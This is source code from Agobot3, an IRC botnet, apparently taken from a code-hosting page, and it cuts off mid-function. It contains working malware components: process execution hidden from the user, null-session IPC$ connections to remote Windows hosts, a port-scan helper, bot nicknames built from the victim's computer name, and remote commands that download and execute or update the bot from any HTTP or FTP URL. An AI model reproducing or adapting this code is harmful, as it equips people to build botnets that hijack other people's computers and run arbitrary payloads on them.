📄 utility.cpp.svn-base
字号:
/* Agobot3 - a modular IRC bot for Win32 / Linux
Copyright (C) 2003 Ago
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
#include "main.h"
#include "utility.h"
#include "random.h"
#include "mainctrl.h"
#include "ftplib/ftplib.h"
#ifdef WIN32
#include "3dnow.h"
#endif // WIN32
#include "sockets.h"
int i;
// Format: xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx-xxxxxxxx
// Only alphanumeric characters
void gen_unique_id(char *szString, int iLen)
{ memset(szString, 0, iLen);
for(int i=0; i<iLen; i++)
{ int sel=brandom(1, 3);
switch(sel)
{
case 1: // Numeric characters
szString[i]=(char)brandom(48, 57);
break;
case 2: // Uppercase letters
szString[i]=(char)brandom(65, 90);
break;
case 3: // Lowercase letters
szString[i]=(char)brandom(97, 122);
break;
default: // Shouldn't happen
break; } } }
#pragma warning ( disable : 4035 )
unsigned __int64 cyclecount(void)
{
#if defined (__GNUC__)
unsigned __int64 count = 0;
__asm__ ("rdtsc;movl %%eax, %0" : "=r" (count));
return count;
#elif defined (WIN32)
#ifndef BCC32
_asm {
_emit 0x0F;
_emit 0x31;
}
#else
// FIXME: add cyclecount for BCC5
return 0;
#endif
#endif
}
#pragma warning ( default : 4035 )
int cpuspeed(void) // cpu speed function
{ unsigned __int64 startcycle, speed, num, num2;
do { startcycle=cyclecount(); Sleep(1000);
speed=((cyclecount()-startcycle)/100000)/10; }
while(speed>1000000); // if speed is 1000GHz+, then something probably went wrong so we try again =P
// guess 'real' cpu speed by rounding raw cpu speed (something like 601mhz looks kinda tacky)
num=speed%100; num2=100;
if(num<80) num2=75; if(num<71) num2=66; if(num<55) num2=50;
if(num<38) num2=33; if(num<30) num2=25; if(num<10) num2=0;
speed=(speed-num)+num2;
return (int)speed; }
CString RndNick(const char *szPrefix)
{
#ifdef WIN32
#define BUFSIZE 1024
if(g_pMainCtrl->m_cBot.bot_compnick.bValue) {
CString sComputerName; char *szComputerName; bool bNameGood=false;
szComputerName=sComputerName.GetBuffer(1024); init_random();
unsigned long lStrLen=sComputerName.GetLength();
if(!GetComputerName(szComputerName, &lStrLen)) strcpy(szComputerName, "phat");
for(int j=65; j<91; j++) { if(szComputerName[0]==j) { bNameGood=true; } }
for(int k=97; k<123; k++) { if(szComputerName[0]==k) { bNameGood=true; } }
if(!bNameGood) strcpy(szComputerName, "phat");
sComputerName.Append(rand()%10);
sComputerName.Append(rand()%10);
sComputerName.Append(rand()%10);
return sComputerName;
} else {
#endif // WIN32
if(g_pMainCtrl->m_cBot.bot_randnick.bValue) {
CString randomnick;
srand(GetTickCount());
char a = (rand() % 26) + 'a';
char vAlpha[] = "0123456789abcdefghijklmnopqrstuvwxyz";
char b = vAlpha[ rand() % 36 ];
char c = vAlpha[ rand() % 36 ];
char d = vAlpha[ rand() % 36 ];
char e = vAlpha[ rand() % 36 ];
char f = vAlpha[ rand() % 36 ];
char g = vAlpha[ rand() % 36 ];
randomnick.Format("%c%c%c%c%c%c%c", a, b,c,d,e,f,g );
return randomnick;
} else {
CString sRetVal; srand(GetTickCount());
int nl=(rand()%3)+6; sRetVal.Assign(szPrefix);
for(int n=0;n<nl;n++)
{ CString sTemp; sTemp.Assign(sRetVal);
sRetVal.Format("%s%c", sTemp.CStr(), (rand()%26)+97); }
return sRetVal;
#ifdef WIN32
}
#endif // WIN32
}
}
CString CompleteRandom(void)
{
CString sRetVal=""; srand(GetTickCount());
int nl=(rand()%3)+5;
for(int n=0;n<nl;n++)
{ sRetVal.Format("%s%c", sRetVal.CStr(), (rand()%26)+97); }
return sRetVal;
}
bool IsSpace(const char cChar) { if(cChar==' '||cChar=='\t') return true; else return false; }
bool Exist(const char *filename)
{ FILE *fp=fopen(filename, "r"); if(fp) { fclose(fp); return true; } return false; }
bool IsPrivate(const char *ip)
{ if(!ip) return false; if(!strcmp(ip, "")) return false;
char *tokens[4]; char ipbuf[32]; strncpy(ipbuf, ip, 32); tokens[0]=strtok(ipbuf, "."); if(!tokens[0]) return false;
for(int i=1;i<4;i++) { tokens[i]=strtok(NULL, "."); if(!tokens[i]) return false; }
if(!strcmp(tokens[0], "10")) return true; // Class A private network
if(!strcmp(tokens[0], "172") && !strcmp(tokens[1], "16")) return true; // Class B Private network
if(!strcmp(tokens[0], "192") && !strcmp(tokens[1], "168")) return true; // Class C private network
if(!strcmp(tokens[0], "90") && !strcmp(tokens[1], "0")) return true; // Class Bastart private network :P
return false; }
bool ScanPort(const char *host, const unsigned short port)
{ CSocket sSocket; if(sSocket.Connect(host, port)) return true; else return false; }
bool Execute(const char *filename, const char *params)
#ifdef WIN32
#ifndef _DEBUG
{ if((int)ShellExecute(0, "open", filename, params, NULL, SW_HIDE)>=32) return true; else return false; }
#else
{ if((int)ShellExecute(0, "open", filename, params, NULL, SW_SHOW)>=32) return true; else return false; }
#endif // _DEBUG
#else // LINUX
{ if(fork()==0)
{ execl(filename, params);
exit(0); }
else return false;
return true; }
#endif // WIN32
bool CreateProc(char *filename, char *params)
#ifdef WIN32
{ PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(STARTUPINFO));
sinfo.cb=sizeof(sinfo); sinfo.wShowWindow=SW_HIDE;
if((CreateProcess(NULL, filename, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)>0)==true)
return true; else return false; }
#else // LINUX
{ if(fork()==0)
{ execl(filename, params);
exit(0); }
else return false;
return true; }
#endif // WIN32
#ifdef WIN32
bool ConnectViaNullSession(const char *remote_host, LPNETRESOURCEW nr)
{ DWORD result=0;
WCHAR Ipc[]=L"\\IPC$";
TCHAR szServer[280]=TEXT("");
WCHAR Resource[280]=L"\\\\";
char tmp[20]="";
unsigned int err = 0;
MultiByteToWideChar(CP_ACP, 0, (LPCSTR)remote_host, -1, (wchar_t*)szServer, 255);
wcscat(Resource,(wchar_t*)szServer);
wcscat(Resource,Ipc);
nr->dwType =RESOURCETYPE_ANY;
nr->lpLocalName =NULL;
nr->lpRemoteName=Resource;
nr->lpProvider =NULL;
result = WNetAddConnection2W(nr,L"",L"",0);
if(result==5 || result==1219)
result = WNetAddConnection2W(nr,NULL,NULL,0);
if(result==5 || result==1219) return false;
return true; }
bool CloseNullSession(const char *remote_host)
{ WCHAR Ipc[]=L"\\IPC$";
TCHAR szServer[280]=TEXT("");
WCHAR Resource[280]=L"\\\\";
MultiByteToWideChar(CP_ACP, 0, (LPCSTR)remote_host, -1, (wchar_t*)szServer, 255);
wcscat(Resource,(wchar_t*)szServer);
wcscat(Resource,Ipc);
while(WNetCancelConnection2W(Resource, 0, false)!=NO_ERROR) { Sleep(2000); }
return true; }
#endif // WIN32
void CDownloader::Init()
{ REGCMD(m_cmdDownload, "http.download", "downloads a file from http", false, this);
REGCMD(m_cmdExecute, "http.execute", "updates the bot from a http url", false, this);
#ifndef _DEBUG
REGCMD(m_cmdUpdate, "http.update", "executes a file from a http url", false, this);
#endif // _DEBUG
REGCMD(m_cmdVisit, "http.visit", "visits an url with a specified referrer", false, this);
REGCMD(m_cmdDownloadFtp, "ftp.download", "downloads a file from ftp", false, this);
REGCMD(m_cmdExecuteFtp, "ftp.execute", "updates the bot from a ftp url", false, this);
REGCMD(m_cmdUpdateFtp, "ftp.update", "executes a file from a ftp url", false, this); }
bool CDownloader::HandleCommand(CMessage *pMsg)
{ CString sHost, sPath, sUser, sPass, sTarget; url uURL;
if(!pMsg->sCmd.Compare("http.download"))
{ if(!ParseURL(pMsg->sChatString.Token(1, " "), &uURL)) return true;
sHost.Assign(uURL.sHost); sHost.Append(":"); sHost.Append(uURL.iPort); sPath.Assign(uURL.sReq);
sTarget.Assign(pMsg->sChatString.Token(2, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget); pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false; pDldHlp->m_bUpdate=false; pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent; pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(true); }
if(!pMsg->sCmd.Compare("http.execute"))
{ if(!ParseURL(pMsg->sChatString.Token(1, " "), &uURL)) return true;
sHost.Assign(uURL.sHost); sHost.Append(":"); sHost.Append(uURL.iPort); sPath.Assign(uURL.sReq);
sTarget.Assign(pMsg->sChatString.Token(2, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget); pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=true; pDldHlp->m_bUpdate=false; pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent; pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(true); }
if(!pMsg->sCmd.Compare("http.update"))
{ if(!ParseURL(pMsg->sChatString.Token(1, " "), &uURL)) return true;
sHost.Assign(uURL.sHost); sHost.Append(":"); sHost.Append(uURL.iPort); sPath.Assign(uURL.sReq);
sTarget.Assign(pMsg->sChatString.Token(2, " ", true));
if(!pMsg->sChatString.Token(3, " ").Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget); pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false; pDldHlp->m_bUpdate=true; pDldHlp->m_bFTP=false;
pDldHlp->m_bSilent=pMsg->bSilent; pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(true); }
if(!pMsg->sCmd.Compare("ftp.download"))
{ if(!ParseURL(pMsg->sChatString.Token(1, " "), &uURL)) return true;
sUser.Assign(uURL.sUser); sPass.Assign(uURL.sPassword);
sHost.Assign(uURL.sHost); sPath.Assign(uURL.sReq);
sTarget.Assign(pMsg->sChatString.Token(2, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget); pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass); pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false; pDldHlp->m_bUpdate=false; pDldHlp->m_bFTP=true;
pDldHlp->m_bSilent=pMsg->bSilent; pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(true); }
if(!pMsg->sCmd.Compare("ftp.execute"))
{ if(!ParseURL(pMsg->sChatString.Token(1, " "), &uURL)) return true;
sUser.Assign(uURL.sUser); sPass.Assign(uURL.sPassword);
sHost.Assign(uURL.sHost); sPath.Assign(uURL.sReq);
sTarget.Assign(pMsg->sChatString.Token(2, " ", true));
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget); pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass); pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=true; pDldHlp->m_bUpdate=false; pDldHlp->m_bFTP=true;
pDldHlp->m_bSilent=pMsg->bSilent; pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(true); }
if(!pMsg->sCmd.Compare("ftp.update"))
{ if(!ParseURL(pMsg->sChatString.Token(1, " "), &uURL)) return true;
sUser.Assign(uURL.sUser); sPass.Assign(uURL.sPassword);
sHost.Assign(uURL.sHost); sPath.Assign(uURL.sReq);
sTarget.Assign(pMsg->sChatString.Token(2, " ", true));
if(!pMsg->sChatString.Token(3, " ").Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
CDownloadHelper *pDldHlp=new CDownloadHelper;
pDldHlp->m_sHost.Assign(sHost); pDldHlp->m_sPath.Assign(sPath);
pDldHlp->m_sTarget.Assign(sTarget); pDldHlp->m_sUser.Assign(sUser);
pDldHlp->m_sPass.Assign(sPass); pDldHlp->m_sReplyTo.Assign(pMsg->sReplyTo);
pDldHlp->m_bExecute=false; pDldHlp->m_bUpdate=true; pDldHlp->m_bFTP=true;
pDldHlp->m_bSilent=pMsg->bSilent; pDldHlp->m_bNotice=pMsg->bNotice;
pDldHlp->Start(true); }
return true; }
bool Writable(const char *szFileName) {
FILE *fp=fopen(szFileName, "w");
if(fp) { fclose(fp); return true; }
else return false; }
void *CDownloadHelper::Run()
{ init_random();
// If the params are invalid, return
if(!m_sHost.Compare("") || !m_sTarget.Compare("")) return NULL;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -